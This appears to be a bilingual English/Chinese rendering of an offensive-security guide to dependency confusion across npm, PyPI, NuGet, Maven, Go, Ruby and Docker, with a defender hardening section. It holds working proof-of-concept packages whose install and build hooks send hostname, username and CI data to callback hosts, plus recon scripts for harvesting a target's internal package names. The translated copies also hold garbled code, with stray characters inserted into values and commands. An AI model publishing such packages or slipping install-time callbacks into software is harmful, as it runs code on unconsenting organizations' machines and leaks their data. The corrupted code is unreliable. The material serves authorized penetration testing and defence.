offensive-dependency-confusion

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Offensive Dependency Confusion and Namespace Attacks

攻击性 Dependency Confusion 与 Namespace Attack

Dependency confusion exploits a fundamental design tension in package managers: the need to resolve packages from multiple sources. When an organization maintains internal packages alongside public dependencies, the resolution logic becomes an attack surface. You exploit the gap between how developers intend packages to resolve and how package managers actually resolve them.
Alex Birsan's 2021 research demonstrated that this class of attack affected Apple, Microsoft, PayPal, Shopify, Netflix, Yelp, Tesla, and Uber, among others. The root cause -- preferring a higher-versioned public package over a lower-versioned private one -- remains exploitable wherever registry configuration is incomplete.
This skill provides ecosystem-specific exploitation techniques, safe PoC methodology, and comprehensive reconnaissance approaches for discovering internal package names during authorized engagements.
Dependency confusion 利用了 package manager 中一个根本性的设计矛盾: 需要从多个来源解析 package。当组织 同时维护内部 package 和公共 dependency 时,解析 逻辑便会成为攻击面。你所利用的,是开发者预期的 package 解析方式 与 package manager 实际解析方式之间的差异。
Alex Birsan 2021 年的研究表明,此类攻击影响了 Apple、Microsoft、PayPal、Shopify、Netflix、Yelp、Tesla 和 Uber 等公司。 根本原因——优先选择版本号更高的公共 package, 而不是版本号较低的私有 package——只要 registry 配置不完整, 就仍然可以利用。
本 skill 提供针对各生态系统的利用技术、安全 PoC 方法,以及在授权 engagement 期间发现内部 package 名称的 全面侦察方法。

Quick Workflow

快速工作流

  1. Perform reconnaissance to discover internal/private package names used by the target.
  2. Identify the target's package ecosystems and registry configuration.
  3. Verify that candidate package names are unclaimed on the corresponding public registry.
  4. Prepare a safe PoC package with a DNS canary or HTTP callback and a high version number.
  5. Publish the PoC to the public registry with a clear security research description.
  6. Monitor the callback endpoint for execution confirmations from target infrastructure.
  7. Record callback metadata (hostname, username, CI flag, timestamp) as evidence.
  8. Remove the PoC package from the public registry after confirmation or engagement window closes.
  9. Document the full attack chain, impacted systems, and registry hardening recommendations.

  1. 执行侦察,发现目标使用的内部或私有 package 名称。
  2. 确定目标的 package 生态系统及 registry 配置。
  3. 验证候选 package 名称尚未在相应公共 registry 上被占用。
  4. 准备带有 DNS canary 或 HTTP callback 且版本号较高的安全 PoC package。
  5. 将 PoC 发布到公共 registry,并附上清晰的安全研究说明。
  6. 监控 callback endpoint,确认目标基础设施是否发生执行。
  7. 记录 callback 元数据(hostname、username、CI flag、timestamp),作为证据。
  8. 确认执行情况或 engagement window 结束后,从公共 registry 移除 PoC package。
  9. 记录完整攻击链、受影响系统及 registry 加固建议。

Reconnaissance for Internal Package Names

内部 Package 名称侦察

Discovering what internal packages a target uses is the critical first step. You extract package names from every available artifact and signal.
确定目标使用哪些内部 package 是关键的第一步。 你需要从所有可用 artifact 和 signal 中提取 package 名称。

Lock File Analysis

Lock File 分析

Lock files are the highest-fidelity source of internal package names. They list every resolved dependency with exact versions and, in some formats, the registry source.
bash
undefined
Lock file 是获取内部 package 名称时保真度最高的来源。它们 会列出每个已解析 dependency 的精确版本,并在某些格式中 记录 registry 来源。
bash
undefined

npm: package-lock.json reveals resolved URLs

npm: package-lock.json reveals resolved URLs

Internal packages often resolve to a private registry

Internal packages often resolve to a private registry

cat package-lock.json | jq -r ' .packages | to_entries[] | select(.value.resolved != null) | select(.value.resolved | test("registry.npmjs.org") | not) | .key ' | sed 's|node_modules/||' | sort -u
cat package-lock.json | jq -r ' .packages | to_entries[] | select(.value.resolved != null) | select(.value.resolved | test("registry.npmjs.org") | not) | .key ' | sed 's|node_modules/||' | sort -u

yarn: yarn.lock includes registry URLs inline

yarn: yarn.lock includes registry URLs inline

grep -B1 'resolved "https://registry.yarnpkg.com' yarn.lock |
grep -v 'resolved' | sed 's/@.//' | sort -u > public_packages.txt grep -B1 'resolved "https://' yarn.lock |
grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' |
sed 's/@.
//' | sort -u > possibly_internal.txt
grep -B1 'resolved "https://registry.yarnpkg.com' yarn.lock |
grep -v 'resolved' | sed 's/@.//' | sort -u > public_packages.txt grep -B1 'resolved "https://' yarn.lock |
grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' |
sed 's/@.
//' | sort -u > possibly_internal.txt

pip: requirements.txt may reference internal packages

pip: requirements.txt may reference internal packages

Look for packages not found on public PyPI

Look for packages not found on public PyPI

grep -v '^#' requirements.txt | grep -v '^\s*$' |
sed 's/[>=<![].//; s/\s$//' | while read pkg; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json") [ "$code" = "404" ] && echo "[INTERNAL] $pkg" done
grep -v '^#' requirements.txt | grep -v '^\s*$' |
sed 's/[>=<![].//; s/\s$//' | while read pkg; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json") [ "$code" = "404" ] && echo "[INTERNAL] $pkg" done

Pipfile.lock contains source information

Pipfile.lock contains source information

cat Pipfile.lock | jq -r '.default | keys[]' > pipfile_packages.txt
undefined
cat Pipfile.lock | jq -r '.default | keys[]' > pipfile_packages.txt
undefined

JavaScript Source Maps

JavaScript Source Map

Production JavaScript bundles sometimes ship with source maps or readable module paths that reveal internal package names.
bash
undefined
生产环境中的 JavaScript bundle 有时会附带 source map, 或者包含可读的 module path,从而暴露内部 package 名称。
bash
undefined

Extract source map URLs from JavaScript bundles

Extract source map URLs from JavaScript bundles

curl -s https://target.example.com/app.js |
grep -oP '//# sourceMappingURL=\K.*'
curl -s https://target.example.com/app.js |
grep -oP '//# sourceMappingURL=\K.*'

Download and parse source map for internal module paths

Download and parse source map for internal module paths

curl -s https://target.example.com/app.js.map |
jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' |
sed 's|.node_modules/||; s|/.||' | sort -u
curl -s https://target.example.com/app.js.map |
jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' |
sed 's|.node_modules/||; s|/.||' | sort -u

Look for webpack chunk manifests

Look for webpack chunk manifests

curl -s https://target.example.com/ |
grep -oP 'src="[^"]chunk[^"]"' |
sed 's/src="//;s/"//' | while read chunk; do curl -s "https://target.example.com/$chunk" |
grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u done
undefined
curl -s https://target.example.com/ |
grep -oP 'src="[^"]chunk[^"]"' |
sed 's/src="//;s/"//' | while read chunk; do curl -s "https://target.example.com/$chunk" |
grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u done
undefined

Error Messages and Stack Traces

错误消息与 Stack Trace

Application errors leak internal package names in stack traces and module resolution failures. Trigger 404 pages, API errors, and debug endpoints.
bash
curl -s https://target.example.com/nonexistent 2>&1 | \
  grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'
应用错误会在 stack trace 和 module 解析失败信息中泄露内部 package 名称。 应尝试触发 404 页面、API 错误和 debug endpoint。
bash
curl -s https://target.example.com/nonexistent 2>&1 | \
  grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'

Also search Wayback Machine for cached error pages with module names

Also search Wayback Machine for cached error pages with module names

undefined
undefined

GitHub Repository Mining

GitHub Repository 挖掘

bash
undefined
bash
undefined

Search GitHub for the organization's package manifests and registry configs

Search GitHub for the organization's package manifests and registry configs

gh api search/code
-X GET
-f q='org:targetcorp filename:package.json registry.corp'
-f per_page=10 | jq -r '.items[].path'
gh api search/code
-X GET
-f q='org:targetcorp filename:package.json registry.corp'
-f per_page=10 | jq -r '.items[].path'

Search for .npmrc files that reveal scope-to-registry mappings

Search for .npmrc files that reveal scope-to-registry mappings

gh api search/code
-X GET
-f q='org:targetcorp filename:.npmrc'
-f per_page=10
gh api search/code
-X GET
-f q='org:targetcorp filename:.npmrc'
-f per_page=10

Search for requirements.txt with --extra-index-url

Search for requirements.txt with --extra-index-url

gh api search/code
-X GET
-f q='org:targetcorp extra-index-url filename:requirements'
-f per_page=10
gh api search/code
-X GET
-f q='org:targetcorp extra-index-url filename:requirements'
-f per_page=10

Search for NuGet.config with private feeds

Search for NuGet.config with private feeds

gh api search/code
-X GET
-f q='org:targetcorp filename:nuget.config packageSources'
-f per_page=10
undefined
gh api search/code
-X GET
-f q='org:targetcorp filename:nuget.config packageSources'
-f per_page=10
undefined

Additional Recon Sources

其他侦察来源

bash
undefined
bash
undefined

Docker Hub, npm org scopes, PyPI author search

Docker Hub, npm org scopes, PyPI author search

Also mine job postings for internal tool names and library references

Also mine job postings for internal tool names and library references


---

---

npm Scope Confusion

npm Scope Confusion

npm uses scoped packages (
@scope/package-name
) to namespace packages. The confusion arises when internal scoped packages are not properly mapped to a private registry, or when unscoped internal packages exist.
npm 使用 scoped package(
@scope/package-name
)创建 namespace。 当内部 scoped package 未正确映射到私有 registry, 或者存在未加 scope 的内部 package 时,就会产生 confusion。

Unscoped Package Confusion

未加 Scope 的 Package Confusion

When an organization uses unscoped internal packages, npm resolves from the default registry (npmjs.org) unless explicitly overridden.
ini
undefined
当组织使用未加 scope 的内部 package 时,除非显式覆盖默认配置, npm 会从默认 registry(npmjs.org)进行解析。
ini
undefined

Vulnerable .npmrc -- no registry override for internal packages

Vulnerable .npmrc -- no registry override for internal packages

Internal packages like "corp-utils" resolve from public npm

Internal packages like "corp-utils" resolve from public npm


```ini

```ini

Slightly better but still vulnerable .npmrc

Slightly better but still vulnerable .npmrc

Falls back to public npm if the private registry does not have the package

Falls back to public npm if the private registry does not have the package

or if the public version is higher

or if the public version is higher


```bash

```bash

Check if unscoped internal names are claimable on public npm

Check if unscoped internal names are claimable on public npm

target_packages="corp-utils internal-auth shared-config data-pipeline" for pkg in $target_packages; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg") echo "$pkg: HTTP $code" done
undefined
target_packages="corp-utils internal-auth shared-config data-pipeline" for pkg in $target_packages; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg") echo "$pkg: HTTP $code" done
undefined

Scoped Package Confusion

Scoped Package Confusion

Even scoped packages are vulnerable if the scope-to-registry mapping is missing or misconfigured.
ini
undefined
即使使用了 scope,在 scope 到 registry 的映射缺失或配置错误时, 仍然会受到攻击。
ini
undefined

Vulnerable .npmrc -- scope exists but no registry mapping

Vulnerable .npmrc -- scope exists but no registry mapping

@targetcorp/internal-lib resolves from public npm if the scope

@targetcorp/internal-lib resolves from public npm if the scope

is not mapped to the private registry

is not mapped to the private registry


```ini

```ini

Correct .npmrc configuration (for reference in reports)

Correct .npmrc configuration (for reference in reports)

Now @targetcorp/* packages resolve exclusively from the private registry

Now @targetcorp/* packages resolve exclusively from the private registry


```bash

```bash

Check if the target's npm scope is claimed on public npm

Check if the target's npm scope is claimed on public npm

"Not found" means the scope may be unclaimed

"Not found" means the scope may be unclaimed

Try to register the scope on npmjs.org if it is not reserved

Try to register the scope on npmjs.org if it is not reserved

undefined
undefined

npm PoC Package

npm PoC Package

json
{
  "name": "corp-internal-utils",
  "version": "999.0.0",
  "description": "Security research - dependency confusion PoC - contact security@researcher.example",
  "scripts": {
    "preinstall": "node callback.js || true"
  }
}
javascript
// callback.js -- safe metadata collection for npm PoC
const https = require('https');
const os = require('os');
const dns = require('dns');

// DNS canary (works even with outbound HTTP filtering)
const label = `npm-${os.hostname().slice(0, 20)}-${os.userInfo().username}`;
dns.resolve(`${label}.your-id.interact.sh`, () => {});

// HTTP callback with minimal metadata
const payload = JSON.stringify({
  hostname: os.hostname(), username: os.userInfo().username,
  ci: process.env.CI || 'false', platform: os.platform(),
  cwd: process.cwd(), timestamp: new Date().toISOString()
});
const req = https.request({
  hostname: 'canary.researcher.example', path: '/npm-confusion',
  method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(payload);
req.end();

json
{
  "name": "corp-internal-utils",
  "version": "999.0.0",
  "description": "Security research - dependency confusion PoC - contact security@researcher.example",
  "scripts": {
    "preinstall": "2node callback.js || true"
  }
}
javascript
// callback.js -- safe metadata collection for npm PoC
const https = require('https');
const os = require('os');
const dns = require('dns');

// DNS canary (works even with outbound HTTP filtering)
const label = `npm-${os.hostname().slice(0, 20)}-${os.userInfo().username}`;\ndns.resolve(`${label}.your-id.interact.sh`, () => {});

// HTTP callback with minimal metadata
const payload = JSON.stringify({
  hostname: os.hostname(), username: os.userInfo().username,
  ci: process.env.CI || 'false', platform: os.platform(),
  cwd: process.cwd(), timestamp: new Date().toISOString()
});
const req = https.request({
  hostname: 'canary.researcher.example', path: '/npm-confusion',
  method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(payload);
req.end();

PyPI Namespace Attacks

PyPI Namespace Attack

Python's pip has two index configuration options with critically different security properties.
Python 的 pip 提供两种 index 配置选项, 二者的安全属性存在关键差异。

--extra-index-url vs --index-url

--extra-index-url 与 --index-url

bash
undefined
bash
undefined

VULNERABLE: --extra-index-url adds a second index alongside PyPI

VULNERABLE: --extra-index-url adds a second index alongside PyPI

pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib
pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib

pip checks BOTH PyPI and the private index, picks the highest version

pip checks BOTH PyPI and the private index, picks the highest version

SAFE: --index-url replaces PyPI entirely

SAFE: --index-url replaces PyPI entirely

pip install --index-url https://pypi.corp.example.com/simple/ internal-lib
pip install --index-url https://pypi.corp.example.com/simple/ internal-lib

pip ONLY checks the private index

pip ONLY checks the private index


```ini

```ini

Vulnerable pip.conf (or pip.ini on Windows)

Vulnerable pip.conf (or pip.ini on Windows)

[global] extra-index-url = https://pypi.corp.example.com/simple/
[global] extra-index-url = https://pypi.corp.example.com/simple/

All pip install commands now check both indexes

All pip install commands now check both indexes

Safe pip.conf

Safe pip.conf

Public PyPI is no longer consulted

Public PyPI is no longer consulted

undefined
undefined

PyPI PoC Package

PyPI PoC Package

python
undefined
python
undefined

setup.py -- PoC with install/develop/egg_info hook vectors

setup.py -- PoC with install/develop/egg_info hook vectors

import os, sys, socket, urllib.request from setuptools import setup from setuptools.command.install import install from setuptools.command.develop import develop from setuptools.command.egg_info import egg_info
CANARY = "canary.researcher.example" PKG = "internal-data-pipeline"
def safe_callback(phase): """DNS + HTTP callback with minimal metadata. No secrets, no file access.""" try: h = socket.gethostname()[:30] u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20] ci = "1" if any(os.getenv(v) for v in ["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0" label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60] try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80) except socket.gaierror: pass data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode() urllib.request.urlopen(urllib.request.Request( f"https://{CANARY}/pypi-confusion", data=data, method="POST"), timeout=5) except Exception: pass
class InstallHook(install): def run(self): safe_callback("install"); install.run(self) class DevelopHook(develop): def run(self): safe_callback("develop"); develop.run(self) class EggInfoHook(egg_info): def run(self): safe_callback("egg_info"); egg_info.run(self)
setup( name=PKG, version="9999.0.0", description="Security research PoC -- dependency confusion -- contact security@researcher.example", cmdclass={"install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook}, )

---
import os, sys, socket, urllib.request from setuptools import setup from setuptools.command.install import install from setuptools.command.develop import develop from setuptools.command.egg_info import egg_info
CANARY = "canary.researcher.example" PKG = "2internal-data-pipeline"
def safe_callback(phase): """DNS + HTTP callback with minimal metadata. No secrets, no file access.""" try: h = socket.gethostname()[:30] u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20] ci = "1" if any(os.getenv(v) for v in ["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0" label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60] try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80) except socket.gaierror: pass data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode() urllib.request.urlopen(urllib.request.Request( f"https://{CANARY}/pypi-confusion", data=data, method="POST"), timeout=5) except Exception: pass
class InstallHook(install): def run(self): safe_callback("install"); install.run(self) class DevelopHook(develop): def run(self): safe_callback("develop"); develop.run(self) class EggInfoHook(egg_info): def run(self): safe_callback("egg_info"); egg_info.run(self)
setup( name=PKG, version="9999.0.0", description="Security research PoC -- dependency confusion -- contact security@researcher.example", cmdclass={"install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook}, )

---

NuGet Feed Priority Exploitation

NuGet Feed 优先级利用

NuGet resolves packages from configured feeds in the order they are listed, but selects the highest version found across all feeds.
xml
<!-- Vulnerable: both feeds active, highest version wins across all -->
<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
    <add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
  </packageSources>
</configuration>

<!-- Hardened: clear + packageSourceMapping (for remediation reporting) -->
<configuration>
  <packageSources><clear />
    <add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
  </packageSources>
  <packageSourceMapping>
    <packageSource key="internal"><package pattern="Corp.*" /></packageSource>
  </packageSourceMapping>
</configuration>
bash
undefined
NuGet 会按照已配置 feed 的列出顺序解析 package, 但最终会选择所有 feed 中找到的最高版本。
xml
<!-- Vulnerable: both feeds active, highest version wins across all -->
<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
    <add key="2internal" value="2https://nuget.corp.example.com/v3/index.json" />
  </packageSources>
</configuration>

<!-- Hardened: clear + packageSourceMapping (for remediation reporting) -->
<configuration>
  <packageSources><clear />
    <add key="2internal" value="2https://nuget.corp.example.com/v3/index.json" />
  </packageSources>
  <packageSourceMapping>
    <packageSource key="2internal"><package pattern="Corp.*" /></packageSource>
  </packageSourceMapping>
</configuration>
bash
undefined

Recon: extract NuGet package names from .csproj files

Recon: extract NuGet package names from .csproj files

grep -rh 'PackageReference Include=' --include="*.csproj" . |
sed 's/.Include="//; s/".//' | sort -u > nuget_packages.txt
grep -rh 'PackageReference Include=' --include="*.csproj" . |
sed 's/.Include="//; s/"2.//' | sort -u > nuget_packages.txt

Check public NuGet for availability

Check public NuGet for availability

while read pkg; do code=$(curl -s -o /dev/null -w "%{http_code}"
"https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json") [ "$code" = "404" ] && echo "[AVAILABLE] $pkg" done < nuget_packages.txt

```csharp
// NuGet PoC package -- .targets file for build-time execution
// Place in build/Corp.Internal.Auth.targets
// MSBuild executes this during package restore
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="DepConfusionCallback" BeforeTargets="Build">
    <Exec Command="curl -s https://canary.researcher.example/nuget-$(COMPUTERNAME)" 
          IgnoreExitCode="true" />
  </Target>
</Project>

while read pkg; do code=$(curl -s -o /dev/null -w "%{http_code}"
"https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json") [ "$code" = "404" ] && echo "[AVAILABLE] $pkg" done < nuget_packages.txt

```csharp
// NuGet PoC package -- .targets file for build-time execution
// Place in build/Corp.Internal.Auth.targets
// MSBuild executes this during package restore
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="DepConfusionCallback" BeforeTargets="Build">
    <Exec Command="curl -s https://canary.researcher.example/nuget-$(COMPUTERNAME)" \
          IgnoreExitCode="true" />
  </Target>
</Project>

Maven and Gradle Repository Ordering

Maven 与 Gradle 的 Repository 顺序

Java ecosystems resolve artifacts by iterating through configured repositories in order. If Maven Central is listed before a private repository, an attacker can claim the groupId:artifactId on Central.
xml
<!-- pom.xml: Maven checks central first; attacker claims com.targetcorp:internal-lib -->
<repositories>
  <repository><id>central</id><url>https://repo.maven.apache.org/maven2</url></repository>
  <repository><id>internal</id><url>https://nexus.corp.example.com/repository/maven-releases/</url></repository>
</repositories>
bash
undefined
Java 生态系统会按顺序遍历已配置的 repository 来解析 artifact。 如果 Maven Central 排在私有 repository 之前,攻击者便可以在 Central 上 占用对应的 groupId:artifactId。
xml
<!-- pom.xml: Maven checks central first; attacker claims com.targetcorp:internal-lib -->
<repositories>
  <repository><id>central</id><url>https://repo.maven.apache.org/maven2</url></repository>
  <repository><id>internal</id><url>https://nexus.corp.example.com/repository/maven-releases/</url></repository>
</repositories>
bash
undefined

Check Maven Central for groupId:artifactId availability

Check Maven Central for groupId:artifactId availability

group_path=$(echo "com.targetcorp" | tr '.' '/') curl -s -o /dev/null -w "%{http_code}"
"https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"

```groovy
// build.gradle: Gradle checks mavenCentral() first -- same vulnerability
repositories {
    mavenCentral()
    maven { url "https://nexus.corp.example.com/repository/maven-releases/" }
}

group_path=$(echo "com.targetcorp" | tr '.' '/') curl -s -o /dev/null -w "%{http_code}"
"https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"

```groovy
// build.gradle: Gradle checks mavenCentral() first -- same vulnerability
repositories {
    mavenCentral()
    maven { url "https://nexus.corp.example.com/repository/maven-releases/" }
}

Go Module Proxy Abuse

Go Module Proxy 滥用

Go modules resolve through the GOPROXY chain. The default configuration
GOPROXY=https://proxy.golang.org,direct
means the public proxy is consulted first.
bash
undefined
Go module 通过 GOPROXY chain 进行解析。默认配置
GOPROXY=https://proxy.golang.org,direct
意味着会优先查询公共 proxy。
bash
undefined

Check if a Go module path is claimable

Check if a Go module path is claimable

Internal modules often use the corp domain as the module path

Internal modules often use the corp domain as the module path

404/410 means it is not cached on the public proxy

404/410 means it is not cached on the public proxy

GOPROXY misconfiguration allows confusion

GOPROXY misconfiguration allows confusion

the public proxy is checked first

the public proxy is checked first


```bash

```bash

Recon: extract Go module dependencies

Recon: extract Go module dependencies

cat go.sum | awk '{print $1}' | sort -u |
grep -v 'github.com|golang.org|google.golang.org' > go_internal_modules.txt

```go
// Go module with init() callback for PoC
package confusionpoc

import ("net"; "net/http"; "os"; "os/user"; "strings")

func init() {
	hostname, _ := os.Hostname()
	u, _ := user.Current()
	uname := "unknown"
	if u != nil { uname = u.Username }
	label := strings.ReplaceAll(hostname+"-"+uname, ".", "-")
	net.LookupHost(label + ".your-id.interact.sh")
	http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + uname)
}

cat go.sum | awk '{print $1}' | sort -u |
grep -v 'github.com|golang.org|google.golang.org' > go_internal_modules.txt

```go
// Go module with init() callback for PoC
package confusionpoc

import ("net"; "net/http"; "os"; "os/user"; "strings")

func init() {
	hostname, _ := os.Hostname()
	u, _ := user.Current()
	uname := "unknown"
	if u != nil { uname = u.Username }
	label := strings.ReplaceAll(hostname+"-"+uname, ".", "-")
	net.LookupHost(label + ".your-id.interact.sh")
	http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + uname)
}

Ruby Gems and Docker Image Confusion

Ruby Gems 与 Docker Image Confusion

Ruby Gems Squatting

Ruby Gems Squatting

bash
undefined
bash
undefined

Check if a gem name is available

Check if a gem name is available

curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" |
jq '.name // "NOT FOUND"'

```ruby
curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" |
jq '.name // "NOT FOUND"'

```ruby

Gemspec with post-install callback via ext/extconf.rb

Gemspec with post-install callback via ext/extconf.rb

Gem::Specification.new do |s| s.name = "corp-internal-utils"; s.version = "999.0.0" s.summary = "Security research - dependency confusion PoC" s.authors = ["Security Researcher"]; s.extensions = ["ext/extconf.rb"] end
Gem::Specification.new do |s| s.name = "corp-internal-utils"; s.version = "999.0.0" s.summary = "Security research - dependency confusion PoC" s.authors = ["Security Researcher"]; s.extensions = ["ext/extconf.rb"] end

ext/extconf.rb -- executed during gem install

ext/extconf.rb -- executed during gem install

require 'socket'; require 'net/http' h, u = Socket.gethostname, (ENV['USER'] || 'unknown') Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{h}-#{u}")) rescue nil File.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")
undefined
require 'socket'; require 'net/http' h, u = Socket.gethostname, (ENV['USER'] || 'unknown') Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{h}-#{u}")) rescue nil File.write("Makefile", "all:\n\true:\ninstall:\n\true:\n")
undefined

Docker Image Tag Confusion

Docker Image Tag Confusion

Unqualified image names (e.g.
targetcorp/backend
) resolve to Docker Hub. If the Docker Hub namespace is unclaimed, you register it and push a trojanized image that targets pull automatically.
bash
undefined
非限定 image 名称(例如
targetcorp/backend
)会解析到 Docker Hub。 如果对应 Docker Hub namespace 尚未被占用,就可以注册该 namespace, 并推送一个会自动被目标拉取的恶意植入 image。
bash
undefined

Check if the Docker Hub namespace is available

Check if the Docker Hub namespace is available

curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'

```yaml
curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'

```yaml

Vulnerable docker-compose.yml -- unqualified names resolve to Docker Hub

Vulnerable docker-compose.yml -- unqualified names resolve to Docker Hub

services: backend: image: targetcorp/backend:latest # should be registry.corp.example.com/... frontend: image: targetcorp/frontend:v2.1 # mutable tag; should use @sha256:... digest

---
services: backend: image: targetcorp/backend:latest # should be registry.corp.example.com/... frontend: image: targetcorp/frontend:v2.1 # mutable tag; should use @sha256:... digest

---

Safe PoC Methodology

安全 PoC 方法

You never deploy destructive or exfiltration-capable payloads. Every PoC uses safe callbacks only.
绝不部署具有破坏性或具备数据外传能力的 payload。 每个 PoC 都只使用安全 callback。

DNS Canary Options

DNS Canary 选项

bash
undefined
bash
undefined

interactsh (preferred -- free, reliable OOB detection)

interactsh (preferred -- free, reliable OOB detection)

go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest interactsh-client -v
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest interactsh-client -v

Burp Collaborator -- generate payload from Burp Pro, monitor Collaborator tab

Burp Collaborator -- generate payload from Burp Pro, monitor Collaborator tab

Self-hosted -- run a logging DNS server on your own NS-delegated domain

Self-hosted -- run a logging DNS server on your own NS-delegated domain

undefined
undefined

Callback Data Constraints

Callback 数据限制

Collect only what proves execution and identifies the affected system: hostname, username, CI boolean, OS/platform, package manager version, timestamp. Never collect file contents, environment variable values beyond the CI flag, credentials, tokens, directory/process listings, or any form of persistent access.
仅收集能够证明执行情况并识别受影响系统的信息: hostname、username、CI boolean、OS/platform、package manager version、 timestamp。绝不收集文件内容、除 CI flag 之外的环境变量值、 凭据、token、目录或进程列表,也绝不建立任何形式的持久访问。

Package Description Template

Package Description 模板

Include in every PoC package published to a public registry:
Security Research - Dependency Confusion Proof of Concept.
Authorized security assessment. No malicious functionality. Sends a DNS/HTTP
callback to a researcher-controlled server. Contact: security@researcher.example
Report reference: [ENGAGEMENT-ID]

每个发布到公共 registry 的 PoC package 都应包含:
Security Research - Dependency Confusion Proof of Concept.
Authorized security assessment. No malicious functionality. Sends a DNS/HTTP
callback to a researcher-controlled server. Contact: security@researcher.example
Report reference: [ENGAGEMENT-ID]

Detection / Defender View

检测与防御方视角

Understanding the attacker's perspective helps you provide actionable remediation guidance in your engagement reports.
Registry configuration hardening by ecosystem:
EcosystemVulnerable PatternSecure Pattern
npmNo scope-to-registry mapping
@scope:registry=
in .npmrc
pip
--extra-index-url
--index-url
(exclusive)
NuGetMultiple feeds without
<clear />
<clear />
+ packageSourceMapping
MavenCentral listed before private repoPrivate repo first, or mirror settings
Gradle
mavenCentral()
before private
Private repo only in
repositories {}
GoDefault GOPROXY
GONOSUMCHECK
+
GOPRIVATE
for corp
RubyDefault gem sources
source
block with private gem server
DockerUnqualified image namesFQDN registry prefix + digest pinning
Detection signals: unexpected outbound DNS/HTTP during install/build phases; lock file changes pointing to public registries for known-internal packages; version jumps to 999.x or 9999.x; new packages in build logs not present in prior builds.
bash
undefined
理解攻击者视角,有助于在 engagement 报告中提供 可执行的修复指导。
按生态系统进行 registry 配置加固:
生态系统易受攻击的模式安全模式
npm未配置 scope 到 registry 的映射
.npmrc
中的
@scope:registry=
pip
--extra-index-url
--index-url
(独占)
NuGet多个 feed 且没有
<clear />
<clear />
+ packageSourceMapping
MavenCentral 排在私有 repo 之前私有 repo 优先,或使用 mirror 设置
Gradle
mavenCentral()
排在私有 repo 之前
repositories {}
中仅使用私有 repo
Go默认 GOPROXY为 corp 配置
GONOSUMCHECK
+
GOPRIVATE
Ruby默认 gem sources使用私有 gem server 的
source
block
Docker非限定 image 名称FQDN registry 前缀 + digest 固定
检测信号:安装或构建阶段出现异常出站 DNS/HTTP;已知内部 package 的 lock file 变更并指向公共 registry;版本号突然跃升至 999.x 或 9999.x;构建日志中出现此前不存在的 package。
bash
undefined

Monitor install-time network activity; audit install scripts

Monitor install-time network activity; audit install scripts

strace -f -e trace=network npm install 2>&1 | grep -i connect npx can-i-ignore-scripts pip download --no-deps --no-binary :all: suspicious-package && tar xzf *.tar.gz && cat */setup.py

---
strace -f -e trace=network npm install 2>&1 | grep -i connect npx can-i-ignore-scripts pip download --no-deps --no-binary :all: suspicious-package && tar xzf *.tar.gz && cat */setup.py

---

Engagement Cheatsheet

Engagement 速查表

StepActionTool / Command
1Parse lock files for internal namesjq, grep, awk
2Mine GitHub for package manifests and .npmrcgh api search/code
3Extract names from JS source mapscurl, jq
4Check public registry availabilitycurl against registry APIs
5Scan with confused
confused -l npm package-lock.json
6Start DNS canary listenerinteractsh-client
7Build PoC package (high version, safe callback)Custom setup.py / package.json
8Publish to public registry
npm publish
/
twine upload
9Monitor for callbacksinteractsh / Burp Collaborator
10Document findings with callback evidenceScreenshots, DNS logs
